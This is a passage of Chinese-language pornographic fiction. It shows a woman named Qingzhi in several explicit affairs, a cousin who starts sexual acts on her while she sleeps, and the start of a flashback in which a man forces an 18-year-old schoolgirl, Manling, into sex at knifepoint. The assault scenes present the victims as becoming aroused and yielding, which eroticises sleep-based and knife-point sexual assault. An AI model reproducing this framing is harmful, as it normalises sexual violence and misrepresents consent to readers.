  只把清枝搞得哇哇大叫,浪叫,不断地哼着,小姜又拿起枕头,把枕头垫在她的屁股下,阴穴高高仰起,小姜又用双手抱着清枝的两只大腿,把小腿架在自己的肩上。

  身体前伏四十五度,而且用下半身的腰力,把鸡巴插入她的穴中,猛插猛抽。

  从开始进入,每一下都插到淆枝的花心深处。

  渐渐地,清枝粉脸上呈现出舒服痛快的表情,她的屁股也一次又一次地往上挺,嘴里呻吟起来:「唔……喔……嗯……唔………真……真舒服………真爽……好……好舒坦………心肝……好美……好舒服………。」

  小姜继续着快速的挺进。

  「啊………你……你………你碰……碰到人家的……花………花心了……哎呀……好………好痛快……啊……啊……唔……我……我的宝贝………。」

  她一阵抽搐,她只觉得小姜的肉棒像一根火柱,插在自己的阴穴里,燃烧着她的身体,她觉得身体很热,娇脸春潮一阵一阵,香唇里娇喘嘘嘘。

  「………好………好舒服……嗯……嗯……唔………唔……我……我受不了………真……真的………受不了……我要………昇天了……。」

  小姜这时改变了插穴方式,不再急速地抽插,他缓缓地抽,轻轻地插,一抽一插之间很有韵律,她也舒服得闭上了美眼。

  这样活动了几三十多下,每一次碰着她的花心,她都是一阵的抽搐。

  她全身的血液都沸腾起来。

  她紧咬着嘴唇,现露一种极美的舒畅表情。

  「我受……受不了………哎呀………舒服……透…顶……了……你知道……知道吗?………不要……不要丢精……慢慢……慢慢来………唷……嗯……我……我………唔……唔……我……我快了……啊…我要洩………要丢了……。」

  小姜卖弄着,越插越深入幽境,小穴也把大鸡巴包得紧紧地,纹风不透,她快活的全身都要碎散了。

  「哎呀……你……你这个害人精………我……我要……要丢了………丢精了………再等一下………就………。」

  他越插越起劲,速度又加快。

  清枝挺着屁股,娇躯颤抖着:「哎………啊……唔……唔………我……我不行了…我丢……丢了………。」

  不到二十分钟,清枝流下了阴精。

  从开始到现在,小姜不停地狠顶,或慢抽慢送,而清枝被按在床上,完全被动的挨干。

  她想用点工夫,夹紧大肉棍,不让小姜如意狠干,但是没有办法,她只有挨干的分。

  到了四十分钟,她又流了,她浪叫着,告饶起来。

  又过了十几分钟,两人同时又洩,人鸡巴顶着花心,泡在肉洞里,享受着温暖多水的骚穴。

  

  

  ——————————————————————————–

  第二天中午,高速公路又出现了一辆紫红色的高级轿车,掌方向盘的是冶艳的曼玲,她正以时速九十公里,朝着台中方向驰骋。

  后座还是那两位——秀馨和清枝。

  开车的人专心开车,没有开车的两位,不再像前一天北上时那样聒噪不停了。

  清枝木吶地闭目养神,像在咀嚼什幺似地………。

  秀馨沈吟着,眉宇间不时绽出神采。

  

  

  ——————————————————————————–

  有了一次北上觅食的经验,清枝的生活整个地变了,生活圈也扩大了些,不再安于室,每日打扮得花枝招展,出入于交际应酬的花花圈内。

  五颜六色的灯光闪灿着,舞池里只有几对人在拥抱着,是午后不久的茶舞时间。

  这家舞厅的扬子很宽敞,乐队也不错,地点在台中的中心,交通极方便。

  清枝和这家的老板娘素珍是同学,又是好朋友,为解除心里的寂寞,常到这里寻找短暂的刺激,是这里的常客。

  她刚来的时候,很感陌生,但她本身是一个美娇娘,又出手大方,很受欢迎。

  

  

  ——————————————————————————–

  不多久,清枝就和舞厅中的一位公子哥儿泡上了。

  大班小李一向和清枝都熟,由于小李年轻,交际手腕好,所以也很吃得开。

  他走到清枝身旁,对她打量了一下,笑笑说:「你有没有兴趣。」

  清枝瞪了他一眼,问:「怎幺说?」

  「你心中有数,害得我心猿意马。」

  「是吗?」清枝笑说:「你赔得起吗?」说完笑笑走开。

  小李看着她走时,臀部扭摆那种姿势,心里暗暗高兴,脸上却显露出了笑意,是一种十分得意的微笑。

  清枝去了一回,走回来时,发现小李坐在她原来的檯子,就坐了下来,小李代她要一杯白兰地酒。

  侍者送来饮料,两人举杯喝掉了一半。

  音乐响了,舞池里滑进了三、四对年青男女。

  清枝站起来,邀小李同跳,小李笑着说:「可以,不过今天我喝了酒,你要跳,可不能乱扭乱摆来挑逗我,或者我狂了那就有你好看。」

  倩枝笑笑:「哼!什幺好不好看。」

  她们开始携手共舞,小李的舞跳得实在好,舞池里的几对当然没有他们跳得好,乐队敲打得特别起劲,有人为他们鼓掌,这时清枝更加起劲地扭起来。

  这一支舞跳得两人都嘻嘻哈哈地回到座上,小李举杯说:「喝乾了它。」

  清枝也忘情地举杯一乾。

  「走吧!」小李轻轻地说。

  「去那里?」清枝也不知所允。

  「祕密一点,我带你走,不能让别人知道,否则我要炒尤鱼。」

  清枝没有出声,她想到小李年青有活力,人不讨厌,也就挽着小李的手走向门口。

  小李把清枝送到自动门口,轻轻地低低地说:「五分钟,在统一侧门………。」就匆匆地回去。

  清枝走下了电梯间,走出了霓红灯闪耀的地方,慢步走向斜对面的统一大饭店的停车场。

  小李已经站在门口,她走向他,手不期然挂到小李的臂弯里,还嫣然一笑,这一笑,小李当然了解包含着什幺。

  到了停车场,小李搂着清枝的细腰,笑说:「我们到什幺地方,倘若被人看到了,不太好,你那里方便?」

  清枝点点头说:「香格里拉。」

  他们跳上一辆计程车,车子南驰原方向,拐进山区,开到了「香格里拉」。

  一进房,小李把清枝拉过来吻她,同时用手把她的洋装掀了上来,就剥她的丝裤。

  清枝推开他笑说:「你这样猴急作什幺?」

  小李笑着说:「我一直在注意你,看你走路姿势,你那浑圆的屁股左右摇摆,真好看,我在想,几时剥下衣裤,是多有趣的事。」

  清枝瞪了他一眼,可是小李还是把她搂过来剥掉。

  小李开了橱门,取来衣架,把西装挂好,然后一下子把身子脱的光光,跳上床去。

  「你看,你多难看。」

  「这样光光地躺在床上,要多难看,就有多难看。」

  她走到外间,把门锁上,走进了里面。

  脱下外衣,鬆掉了乳罩,那高耸挺秀的胸脯和细腰,使躺着的小李忍不住吹口哨。

  「哇!妳的身材,比我想像中更动人!」

  她平躺在床上,双腿交叉,两手抱着乳房,媚眼横了他一眼。

  「妳不欣赏男性美吗?你看这是标準的男人体魄。」

  小李站起来,愤起手臂肌肉,小腹用力一缩一紧地表演健美姿势,那双腿间的六吋长肉棒子一抖一跳地动。

  那根肉棒足有六吋多长,龟头圆突,青筋暴怒,高高硬硬地挺举着,清枝越看越爱,心里上上乱跳。

  他故意地握住自己的肉棒子摇了又摇,然后坐下来。

  小李开始进攻,双手在她的胴体上抚摸,那雪白的娇体随着他的爱抚,不停地扭动,而嗲声连连。

  左手由粉颊轻轻摸抚,往下到脖子而到那高挺粉嫩的酥胸,先用力的猛按、猛搓,然后轻扣那微徼抖动的乳头。

  右手由小腿往上游动,沿着大腿内侧的细皮嫩肉,到达两腿间的神秘境,在那里徘徊不停,先张开手掌,如磨墨一般的磨着阴户,偶而用食指轻轻敲一下那令人神魂颠倒的阴核。

  清枝虽然不是嫩货,但毕竟经历不多,又逢这位床上高手,她已经全身酥麻,腰身猛扭,吟浪出口:「哎唷!哎唷………唔……我受不了………快……快插………我的穴好痒………求你……快………不要折磨人家………快………。」

  淫水一股股地沿着屁股沟往下激流。

  小李要征服清枝,不马上提枪上阵,爬上她的躯体上,双腿朝着她的头部,两足用力撑起下身,将那根粗硬的大鸡巴,对準着清枝的小嘴塞入。

  清枝双手握着肉棍子,先在龟头处吸吮,偶而轻轻咬着那幌动在眼前的蛋丸,也用舌头上下舐着肉棍子。

  这种刺激,这样的挑逗,使小李也忍不住,迅速地拨开她的玉腿,用指头把两片阴唇拉开,低下头,张大嘴,平贴在阴户上,伸出舌头往洞里一探。

  这一下,清枝的双腿猛蹬,身子猛摆,她吸吮的也更加狂急。

  小李使劲地按着,嘴唇在阴户上下移动,那支尖兵不停地旋着往肉洞侵入,同时以牙齿捕捉阴核,轻轻地咬起来。

  「喔………啊………小李……你…狠………我……我受不了………求你,求求你……快点……插……插吧……哦……哦……。」

  浪叫声有气无力,显示慾火已烧到极点。

  小李转身,再度张开她的粉腿,双眼注视洞口,手握大鸡巴,力道一沈,猛挺腰身,对準穴口,只听到「滋!」一声,那六吋长的肉棍子全根插进穴里。

  肉棒插入,她的脸上马上显出满足的笑容,人也进入飘渺之境。

  小李把清枝的双腿抬起,扛在肩上,形成推车姿势。

  她的腿一抬起,那鲜红的嫩肉也显露无遗,他一用力抽送,龟头立刻紧刮着阴道里的嫩肉,直进直出,急抽猛插。

  粗大的龟头,忽轻忽重,每一次直达花心。

  「喔………喔……心肝……用力………用力……插深些………我好痒……痒死了………啊………嗯………现在……舒服多了………啊……舒服………啊……啊………。」

  他这样继续猛插二十几下,只见她双眼已经闭成一线。

  清枝嘴上一直呻吟着,浪叫不停,但好似还没有达到高潮。

  小李徐徐吸进了一口气,使鸡巴涨得更粗大,更雄伟。

  以那粗大的龟头紧紧抵住花心,一阵子磨转,两手也捏着乳头。

  不一会,清枝的玉体像扭股糖似地摆动,阴户也用力上顶,水汪汪的眼睛望着他:「哼………啊……好人………好哥哥……里面好痒………啊………快……快不要磨………嗯………嗯……快些……快点………啊………。」

  「拍!拍!」的肉击声,在鸡巴和阴户的交接处晌着。

  不久,两人又气喘如牛:「喔……你真行……我今天………服了你……哦………小李……你真是………大英雄……哎唷………哎……我……要死了……我被………被插死了……哎呀……利害………好利害………你插死………啊……呵……我……好……好妙………喔………喔……我……我……。」

  小李插穴,次次直攻直抵花心,又加快速度,一时间把清枝顶得白眼直翻,淫水随着鸡巴的插入溅出水花。

  这时的清枝已被插得阴户生热,眼冒金星,四肢软绵绵地,无招架力量,可是他还是生龙活虎般猛干不息。

  她整个人颤抖着,一张床单已被揉成一团,呻吟着:「哎呀……哎呀……我投降………投降………快……停止,…把………抽起来……我的………我的小穴……要裂………裂开了………喔……喔………又………又插到………插到心口……。」

  他那会管她死活,照插照干。

  突然她又叫起来:「我会死……喔………喔………我会被你插死……喔………哎呀……快……快……插深点……啊……啊……我………我丢了……我洩精了………唔……。」

  小李猛插二十多次,只觉得一股又浓又热的阴精,从子宫深处直沖而出,把龟头泡得全身大爽,不由也叫着:「喔………舒服………好舒服……我……我要洩……洩了……。」

  终点到了,快感来临,他全身颤抖一下,一股阳精直沖花心,鸡巴也停止抽送。

  清枝被阳精沖进花心,那股又热又烫的激流,使得她全身抖动,双脚一蹬,昏了过去。

  经过了整日的热闹和噪杂,桃园机场也渐渐地宁静下来,入境表示牌上显示的到达时间的飞机也只剩下了西北一家,十一点卅分的预定班机,脱班,可能延迟一个小时。

  迎宾大厅除了必要的航站人员外,只有疏疏的几个等候亲人或接待宾客的人员,急躁地看着时钟,不安地来往。

  清枝也在人群中,三天前移居美国乔治亚州的姨妈来电,告诉她说十余年不见的小表哥要回国参加航空学术研究会议,因为小表哥是着名的学人之一,希望有人接机。

  小表哥大清枝三个月,从高中毕业后就留学美洲,学成就业,姨妈全家也在四年前移居北美,而一直没有回国的机会,这次为要参加会议,先请假一週回国参观。

  离国十余年后台湾,变迁得很多,台北的繁华和现代化,出于归国人想像之外,记得高中刚毕业时,新建筑物还不多,可是现在大厦林立,改变了以前的面貌,在有限的土地上,盖起了一层层的大厦,质在叫人惊讶!

  小表哥——冯中光,终于踏上了故乡的土地上,也倍受美艳的表妹清枝的欢迎。

  时间已经过了午夜,旅途的劳累,清枝先把中光安置在台北的豪华旅社,準备利用一週的时光,重温过去的梦。

  游阳坍山,逛北海岸、乌来、新店,多少的回忆在其中。

  这一天,游东北岸驱车回到旅合后,中光参加昔时同学的餐会,饭后在林森北路的俱乐部聊天喝酒。

  半夜才回到饭店,只见半夜后各室都熄灯,静悄悄的一片,只是清枝的房间还透着光。

  中光偷偷走进门边一听,好像有人呻吟,急急推门进入。

  只见清枝正一丝不挂地仰躺在床上,一身雪白的嫩肉,丰满的乳房,圆美的肥臀,下面是美妙的小穴。

  两片阴唇,紧紧的夹住雪白的大腿间,芳草萋萋,诱人极了。

  中光在美国,虽然比较开放,但由于生活习惯的差异,年逾而立,还没成家,偶而花街柳巷,但是洋妞、黑妞,对他不够味,这次提前回国,固然在于拜访故乡故老亲戚,但也有嚐一嚐荤味的意思。

  今有千载难逢的机会,怎能错过,再加上酒精的作弄,勇气倍加,慾火高昇,不管三七二十一,走了过去。

  伸手向阴户一摸,抚弄起来,清枝在梦中,还不知觉,他也就更大胆了,两个指头顺势而入,轻轻扣弄着阴核。

  此时的清枝,大概梦见和男人性交,不自主的流出淫水,脸上露出满足的笑容,他一见如此,更是欣喜万分。

  急忙俯下身,把嘴贴在阴户上,一阵吸吮,一手捏弄乳头。

  他实在忍不住底下肉棍子的怒涨,很快的脱下了裤子,那根大棍子火热的在清枝的大腿间左右磨擦,一只手在那阴户上拨弄,将大腿分开,想把她的穴弄开些,好将鸡巴顺利的插进穴里。

  

  

  ——————————————————————————–

  就在这紧要关头,清枝醒过来了。

  「呵………嗯………嗯………哦………。」

  睡梦中,她以为是和老相好作爱呢!

  方自精神一振,方看清楚是小表哥——中光。

  「啊……是你………表……表哥……你怎幺进来的……你………你出去……不可以……不能……乱……乱来………。」

  她羞涩地叫着,连忙将他推开,急急抓起睡衣,遮掩着赤裸的身子。

  中光看到那羞答答的窘态,慾火更帜张,用着色迷迷的眼神看着她,低低说:「清枝,我………我………。」

  清枝早已从他眼神中知道,他心里所需要的,心里不免悸动,但一种女人本能羞耻心,使她结舌瞠目,不知所措。

  「怎幺!清枝你………妳不肯………。」

  清枝能开口吗?只有以含情脉脉的眼神暗示。

  身体慢慢凑过去,双手抱住他的颈部,一额红唇送到他的唇边。

  他们忘情地吻着吻着,吻了一遍又一遍,像一对贪心的孩子,捨不得放弃甜美的果实。

  清枝秀目徵张,粉脸上昇起了一片羞红,似笑还羞。那种诱人的姿态。挑逗着中光慾火如帜。

  中光一面热烈的拥吻着清枝的嘴唇,一面两手摸着她那团软绵炙热的丰乳。

  她觉得他那两片嘴唇有不可说的魔力,不知不觉地一条柔软而灵活的香舌,也丁香暗渡,伸进了对方的口中。

  在爱抚和调情之中,她娇喘嘘嘘,媚眼中放射出强烈的慾焰,她把他紧紧地抱着不放。

  中光见她已春情大动,不忍再逼弄她,同时自己也觉得不能再忍,迅速地剥下所有的衣股,挺起粗壮的阳具,朝着湿润的桃源洞口,用力一挺,屁股向下一落,「滋!」的一声,整根火辣辣的阳具直抵花心深处。

  清枝嘘了口气,哼说:「啊………好大……好硬……顶得好……好舒服……好美……快……快抽插………喔………好舒服………啊……啊………。」

  中光和清枝是青梅竹马的伴侣,在姨表兄妹的情况下,从小相处在一起,而在高中求学时代,清枝已经长得亭亭玉立,当时对这个俏表妹就存着喜爱的心,只是不敢表之以行动。

  离别十余年,如今又成热丰韵逗人心迷,怎能轻易放弃,现在肉体交接的行为,当然捨命陪淑女了。

  她银牙紧咬的呻吟:「啊……啊………好……好狠……顶………顶得……这样急……啊………好热……啊……好大………好硬……噢……喔………插……插吧………啊啊………。」

  中光看着清枝被挑起情慾后,娈得这样浪骚,胸中那股慾火烧得更烈、更强。

  他将鸡巴更用力的插抽,双手且狠狠地揉抚那高耸的乳房。

  「啊……啊……喔……喔……美………美……妳……插死小穴了……啊……用力……啊………用力………对……对,就是………那里……啊……痒……痒死了……啊……用劲插………插深些………再插………深一些………喔………。」

  她不断的发出浪叫,那柔软的腰身,不住的扭摇。

  「噢………噢……美……美死了……啊……啊……大鸡巴……插得……好舒服……啊……啊……哎呀……爽……爽死了……。」

  两片阴唇,一吞一吐的极力迎合大鸡巴的上下移动。

  一双玉手,不断地在中光的胸前和背后乱抓。

  这又是一种刺激,使他更用力的插,插得又快、又狠。

  而她的浪叫声更大:「啊噢……啊……好哥……好……麻……大鸡巴………干得小妹………好……舒服………。」

  鸡巴直撞花心,使得阴道肌肉一阵阵的收缩。

  清枝叫:「啊………啊……撞到……花……心了……啊……好……好……真好……啊……噢……再来……用力……好美……好爽……我……我要……我要死了……啊……啊……。」

  嫩穴受到连续的攻击,已被干得酥麻,鸡巴狠起狠落,每一下都发出「啾!啾!」声音。

  「啊……啊………磨……磨得好………好舒服………太利害了…………啊………啊……大鸡巴……干死人……干啊………死人了……啊………。」

  他把插入穴中的鸡巴藉着腰力旋转了又旋转。

  一边喘着气,一边还问道:「怎样………骚穴………快……快活吗……哦………。」

  女人摇着屁股,呻吟着:「啊……啊……大鸡巴……很……很好……小穴……小穴………给干得……爽死了……哦……啊………。」

  「啊……啊……美……美极了………好……好舒……服……你………你真………真利害………。」

  「我……我……啊………我舒………啊……啊…;好……好……用力……顶……顶花……花心……快………快……小妹……噢……我……要……被顶………顶死了………。」

  清枝的屁股,加速的上仰,一付细腰扭得像弹簧似的,死命的摆动。

  中光将肉棍子「噗滋!噗滋!」的又顶了二、三十下后。

  她突然将阴户紧紧的抵住鸡巴的根部,身体一阵子颤抖,口中不断地娇喊。

  黏黏的阴精,沖出来包住中光粗硬的阳具。

  她紧紧地抱住中光。

  香嘴凑近他的耳边,娇喘着说:「哥……你的……大鸡巴……好壮………好壮……。」

  中光见她一付欲言还羞的模样,双手用力,将她的娇体抱在怀中,让那羞红豔美的粉脸,轻偎胸前。

  一股如幽兰,如丁香的体香,轻轻飘入鼻中。

  「表妹!」

  「妳的身体好香,好柔………好滑………。」

  「还说,还说,你……你坏死了……。」

  他轻抚着她的嫩脸和秀髮,无限爱怜地说:「真的………表妹………妳不知道………你惹得我………哎……。」

  「从小……我就喜欢你………你记得……小时候……扮家家酒………你就是……我……的新娘子……。」

  他的手不停地在那动人的肉体上抚摸,低下头吻着香唇,又用指甲刮那小巧的红樱桃。

  清枝嫣然一笑,小秦在他胸前轻挺。

  「你呀!好意招待你游玩,竟然乘机还要强姦人家,天下没有比你更坏的人啦!」

  瞧着她的娇模样,慾火更灼烈,下体的肉棒子又挺得高高,他把她的小手拉过来,让她握着。

  「表妹,刚才插小穴,插得舒服吗?」

  握着鸡巴,春情又动,骚心再起,她说:「表哥,好有力、好强,又大又粗,好极了,插得真过瘾,比我那个死鬼好一百倍,一千倍………。」

  中光想起她的医师丈夫,当然心里酸酸。

  「他……他人呢?」

  「哼!不知道在开什幺鬼会,上週和那些破朋友们出国去了,大概要有两星期才回来……。」

  她玩弄着鸡巴,一副肥奶随着胸部的喘动,一起一伏的上下抖动,阴穴里又不住地痒起来。

  该是春情亢奋的关係,淫水又自肉缝里汨汨的流出。

  「呀………大难巴……真好………你的………好粗……;好迷人……。」

  用两条浑圆修长的玉腿,紧夹住他的腰身。

  她要求着:「啊……啊……快……快给我………给骚穴………来重的……重重的插……插痛快些……拜托……拜托………我好痒………里面痒死了……哥……快插………求你………。」

  她用阴核和阴唇,不住地磨擦龟头,一丝丝的淫水黏满了肉棒头上。

  于是他躺在她的身旁,笑着说「表妹,我们换一个姿势,说着,将清枝一条粉腿侧举,,大磨大擦起来。右手也抚摸着她的那对乳房。磨磨擦擦了好一阵子,淫水又龟头顺势顶住阴核。哟!痒死了!酥酥的!酸得清枝吃吃地笑起来。你侧身睡好……。」

  自己也侧身,握住阳具,对準阴户出来了。

  随着她把阴户往龟头塞,想解决洞里的酸麻和痒,可是中光就不让它进去。

  这时的清枝,经这样的挑逗,只觉得下面的阴户,那淫水又流满了。

  令她感到慾火难耐,心里的酸痒很不好受。

  她将阴户再凑了过去,把两片阴唇,含住了他的龟头后,便慢慢的轻磨慢搓。

  中光感到像一团有温度,又暖热的棉花所擦着一般,被磨得酥痒起来,于是屁股一挺,但见「滋」一声。

  她感到那阴道腔里,像插进一条粗大而烧红的铁条,而且又觉得是长长的,直达内里深处的花心上。

  清枝不由自主的将身子一颤,阴户里的淫水,更加春潮初涨一般,由阴唇缝直流而下。

  他被那窄窄的阴户,夹实了阳具,在抽送时候,从龟头开始有一阵的酥爽感觉,直传到心里。

  两人都不约而同地,各自把屁股重重的摇动着,挺顶着,乐得清枝口里含糊不清的叫喊:「哎呀……哎呀……好哥………哥………我的心……心头……被你………被你……弄得……弄得……啊………啊……好爽………好舒服……哎唷………哎……乐死人家了………你的……鸡巴……怎……怎幺这样利………利害……把……花……花心……插得………痒……痒死了………。」

  中光听了她的娇喊,也是气喘喘的,低声说:「我的心肝呀……你……妳的花心……也不错……像一朵花………触得我龟头……好酸………啊……好像吸………吸吮着………全身………麻麻痒痒………。」

  「哦………哦……你看……你看……这幺多淫水………哈哈……把……把我的腿……也弄得……湿淋淋………。」

  清枝倪着眼,笑道:「你……你也快乐……吗……?」

  两人虽然说着话,可是下面的东西,仍然疯狂的抽插着,不,抽插得更快、更猛,插得阴户滋滋大晌。

  她又柔声的说:「哥,这样不行………我痒死了……哎呀……我的……我的阴穴……要被……被插破……哎………哎……不要这样擦……擦得穴道里……好痒……好痒……啊……拜托……有劲……有力顶………顶………啊……嗯………。」

  原来中光猛干,那大阳具上下左右乱闯,就在嫩穴里,四周翘动磨擦。

  他那浓密的性毛,也就不停地将清枝的阴唇和阴核磨弄着。

  这种突来的刺激,更便她乐得怪叫,淫水更是好像小河不断流呀又流呀地。

  她挺着胸部,用丰满的双乳贴着男人的胸部,一双粉腿曲扭着,她闭上了眼睛,两片湿润的香唇微微开启,一条香舌不断自己舐着嘴唇。

  「美……美死人家……我……我……你……你的…太大太大………我……舒……舒服……好舒服………。」

  她要小穴把整条肉棍子吃进,一边挺着阴户,这样,她才觉得「充实」方能满意。

  全身热得发烫,小穴又麻又酸,不可表达的快感,使她更紧张、更放浪。

  她梦样的呻吟中,娇躯一阵又一阵的颤抖,屁股一次又一次的挺动,使阴户和阳具做密切的合作。

  她舒服透了,结婚到现在好几年好几年,很少很少有这样的感觉,太舒服,太畅快了,使她又陷于半昏迷中,她已被大鸡巴磨得欲仙欲死,快乐似神仙。

  「喔……好哥……我……我………我要丢了……丢了……唔……唔………。」

  「啊!」

  娇叫一声,娇躯乱抖,一阵舒适的快感,传遍全身,小腿乱蹬,双手紧紧拥抱冯中光,昏迷过去。

  冯中光并没有中止,他缓缓地抽,再慢慢地插进去,抽……插…

  ……缓缓的,每次碰到花心,有劲顶住,她哼着、呻吟着。

  她本能地抬起粉腿,阴户挺,又挺、更挺。

  急促的娇喘,美丽的娇脸蛋上,呈现出满足的表情。

  「好……好哥………啊………唔……我会……会给你……插死………干死……嗯………唔……。」

  他又急速地猛插猛闯,次次尽插到底。

  小穴里,淫水如山洪爆发,往外直流,两腿不断地缩张,全身蠕动,血液沸腾。

  「好………好……好哥……不……不能动了……嗯………嗯……我………我要死掉了……哎呀……哎唷………你……你真………要………我命啊……。」

  洩了又洩,讨饶休息。

  

  

  ——————————————————————————–

  大来珠宝公司的老板娘是曼玲,已经心神不守舍地烦了一个下午望望柜台后面墙壁上的电钟,还有一个小时才六点,时间怎幺过得这幺慢?店里虽有冷气,她身上却感到一阵阵的躁热与不耐烦。

  事情的开始是这样的:首先引起注意的是会计王小姐接听的一个电话:「我已经告诉你,我这里没有这样的人。」口气显然地很不耐烦。「没有,没有,请你不要再打电话来!」

  曼玲忍不住插嘴问道:「怎幺回事,找谁的电话?」

  王小姐用手掩住话筒,回身答说:「打错号,已经有好几次了,要找一个女的,叫什幺美智子……告诉他没有这个人,还一直打来。」

  曼玲心里一惊,「给我」。

  劈手接过话器,对王小姐说:「好了,我来应付,你去忙你的。」

  王小姐「噢!」一声,带着莫明其妙的神色离开。

  看看四周都没有人以后,曼玲才清一清喉咙,强压住跳抖的心,「喂!」

  对方传来清晰而沙亚的男性声音:「嘿嘿!美智子,好久不见了,你就咳嗽一声,我还可以认得出声音是你。」

  虽然明知一定是他,曼玲握住听筒的手还是震颤了一下,「你………你怎幺知道我的电话?」

  「嘿嘿!谁不知道,着名李医生的美艳太太呀,你现在又开了那幺大的珠宝店,更是家晓名传,有谁不知道啊!不够意思嘛!从我出来打了好几次电话,少说也有十几二十次,你那里的小姐就没有给我好口气,哼!是不是你特别交代的,不接我电话,哼!假如我存心找一个人,你该知道,绝对没有找不到的,美智子,你不必躲着我,没意思嘛!」

  「我………我改了名字了。」曼玲深深地吸了一口气,用抖颤的声音说:「你,你该知道,我现在不叫美智子,你能弄到我的电话,你就该知道,店里的小姐不知道你找的就是我呀!」

  「好了,好了,我不管你现在叫什幺,喂!你出来一趟,我要见你,他妈的!现在世道真是不一样了,也难怪啦!我进去有十几年嘛!从前的那些人啊!老的老,死的死,在里面的也不少,我现在出来一个熟人都没有,现在那帮子,简直一点情面不给,喂!美智子,老虎现在变成猫了,吃不开了。」

  「你………找我到底要做什幺?」

  「哎哟!老相好的,我找你干什幺?这话你也问得出口,我找你重温过去的亲热呀!怎幺,医生夫人,老板娘,你忘记十几年前,那种爱我爱得要死的事情了。」

  「你胡说!」曼玲发急道:「事情都过去这幺久了,我已经嫁人生子了,还不放过我?」

  「所以说嘛!我也为你设想嘛,我还没有打电话到你家啊!这点,你就该谢谢我啊!」

  「你要钱?是不是?」

  「哎呀!老朋友,谈钱那多伤感情,你出来一趟,我们见一见面嘛!」

  「我………我现在不方便,我要招呼店里的生意。」

  「好,那你什幺时候有空,嘿嘿!你说,反正我现在有的是时间,没工作,没亲戚,没朋友,什幺都没有,就只有你一个。」

  「不要这样………疯言疯语,我出来一趟就是了,晚上六点钟,怎幺样?」

  「好,在那里?」

  「公园门口。」

  「公园有好几个门。」

  「那………靠近xx医院那个。」

  「好!我知道你一向很守信,我们六点钟见面。」

  「卡」一声电话挂断了。

  曼玲失神半晌之后,才慢慢地把电话筒放回电话上。

  李虎,他又出现了。

  十几年,多漫长的一段时光,头两年她还担心着李虎再出现的日子,但富裕的生活过得太如意了,时间久了,居然把这事忘得一乾二净。

  不可原谅的疏忽。

  她是决不能让丈夫知道自己婚前的状况…………

  自十几年前李虎被捕后,她决心重新做人,改头换面,重拾书本,用功读书,终于完成荒废数年的课业,嫁给现在的医生丈夫的。

  她把身子深深陷在旋转皮椅内,望着暴露在凉凉冷气中的一双白皙手臂。

  右手腕上戴着的一只翠玉镯,正在水银灯下发出濛濛的光辉。

  她伸出指尖染成鲜红的双手,在灯光下仔细地审视。

  左手一颗梅子般大的绿宝石戒指,和右手中指的泪型钻石戒,在灯光下褶褶闪烁。

  她这些年来,有些发胖,尖尖的手指,显示着裕康的生活。

  她有钱,她享福,可是现在,李虎又出现了,现有的这一切,会不会都被破坏?

  她深深地叹了一口气。

  她又陷入沉思………

  那是曼玲的秘密。

  

  

  ——————————————————————————–

  当曼玲十八岁,就要高中毕业的时候,那些「爱男生」的小妮子,放着书不好好读,专门搞恋爱的时光里,曼玲虽没有较好的对象,但对男人的种种好奇是免不了的。

  有一天,下了课,匆匆赶到车站想搭车回家,当走过平交道,刚到一家日本料理店的店前,竟有一个面色黄黄的男人向着她点头,说「小姐,有最好的明星照片、化粧品………你要不要,是最好的。」

  曼玲喜爱明星,也想当一颗闪跃的使人人爱慕的明星,所以,不论那一国的明星照片,都喜欢收集,听了那人的话,不自禁地停下脚步。

  那男人点着头说:「请跟我来,包你喜欢,是一等,一流的………」

  跟着踱进了日本料理店的小巷子,停在一家破房子的门口,那个男人进去了一下,又走出来,把一个信封很神秘的交给曼玲,说:「小姐,上好的照片*,便宜的价钱,只要你十元,一套八张,包好看,请你回家看………这里人多。」

  不错,站在街口看明星照片,周围的奇怪眼光,一定使人发窘,曼玲只好把十元给了他,把照片信封塞入书包,急忙跑出小巷,走回家。

  晚上,在床上拉开抬灯,拿出来欣赏,一看不禁心中乱跳,面上发烧,原来那是一套春宫照片。

  一男一女,赤裸着身子,在床上………做着插穴的动作,使得曼玲年青的胸中阵阵发慌。

  只觉得阴穴里发痒,紧紧夹拢两腿,更不好过,展开大腿,又好像有说不出的空虚………。

  下着大雨,从晚场的电影院走出来,坐进一辆绿色的计程车,已经是十一点过了,驰近家中的巷口,曼玲急速地下车跑进黑沉沉的巷中。

  「小姐,我送你回家。」突然地由暗处闪出一条人影,走过来,在昏暗的街灯下,白光一闪,是一把雪亮的刀,直指着她:「嘿嘿,春宫好看吗?我们做朋友,我会使你快乐……你叫,我就杀了你。」

  他一手抓着吓呆的曼玲,她已经小腿发抖,走不动了。

  「别怕,双方都快活,你试一试就知道,谁叫你,你长得漂亮,嘿嘿!我已经等了一年多了。」

  那把刀子闪着光,从刀光的反射里可以看到一副还不错的脸蛋,不过那脸上显露着一昧邪气。

  「来,听话,我会使你快活,我爱你。」

  曼玲不敢反抗,只好被拖着走进对面公寓的楼梯间。

  本能羞、怕、气,合成消极的抵抗,挣扎着,扭曲着身体,像一只虾子,两腿夹得紧紧的,两手护着胸前,一面哀求着:「拜托,拜托,放我回家,我会报答你,给你钱,你说,你说要多少………」

  他不理会曼玲的要求,自动地很快脱下了去裤,又抓起小刀子,在她面前晃了一晃。

  「乖乖脱下,我会让你回去,撕破了你的衣服就不好,怕什幺,快………。」

  曼玲吓坏了,在小刀的威胁下,只有解扣子,慢慢地只希望有人来解救危机。

  突然他一伸手,拉下了曼玲的裙扣拉鍊,裙子落下。

  那两只魔手佔据了她的胸前,一阵揉,一阵子搓,又以指头夹着奶尖,不住的捏、压,使得奶头逐渐发硬,奶头的一阵急搓下,搓得曼玲头昏脚软,全身发麻。

  怪手继续侵袭。

  「嘶——嘶——」三角裤被扯破,那发热的手掌,整个紧按在阴户上,又一阵子急磨急搓,紧张得曼玲忍不住张开了嘴吐气。

  一根指头,撑开了两片阴唇,阴核被指头紧紧捏住,一紧一鬆,又不停地揉挤,阵阵的奇痒,刺激得难以忍受。

  他伏在她的身上,火热的嘴唇又找到曼玲的小嘴。

  火柱顶在她的小腹上,在大腿根部东撞西撞。

  左手更是不停的在曼玲的乳房抚摸着、揉着、搓着、捏着,这一手让地无法抗拒。

  她崩溃了,她的神智呈示已经模糊不清的现象。

  她情不自主的低吟着:「不………请不………不要………请不要……。」

  深吻,吻走了理智,揉搓,搓去了羞耻,拨动了曼玲未知的情慾,她已是不由自主的春潮氾滥。

  他摸着了柔细的阴毛,捏住了她丰满的阴唇,唇缝湿湿的,他的手指扣进了阴穴里,不断的搅搓,只觉得全身轻飘飘的,头昏昏的什幺也记不得,她只知道拚命的挺起阴户,凑进,又凑进。

